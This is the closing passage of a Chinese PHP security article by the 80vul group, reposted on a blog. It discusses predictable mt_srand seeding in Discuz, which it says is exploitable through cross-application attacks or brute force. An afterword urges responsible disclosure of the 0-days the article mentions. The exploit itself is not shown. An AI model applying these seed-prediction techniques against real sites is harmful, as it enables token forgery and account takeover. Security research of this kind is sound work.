./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下))

2)有的人认为如果没有mt_srand((double)microtime ()*1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其它应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6> php > 4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。


后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了不少新发现另外需要感谢的是文章里提到的那些漏洞的发现。者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行谷歌。另外原本没有打算公布此文,因为里面包含了太多应用程序的0天,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0天,请低调处理,或者直接提交给官方修补,谢谢大家!!


附录

[]http://bbs.phpchina.com/attachment.php?aid=22294'> http://bbs.phpchina.com/attachment.php?aid=22294
[ 2 ]http://www.php-security.org/ '> http://www.php-security.org/
[ 3 ]http://bugs.php.net/bug.php?id=40114'> http://bugs.php.net/bug.php?id= 40114

点击数:164

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇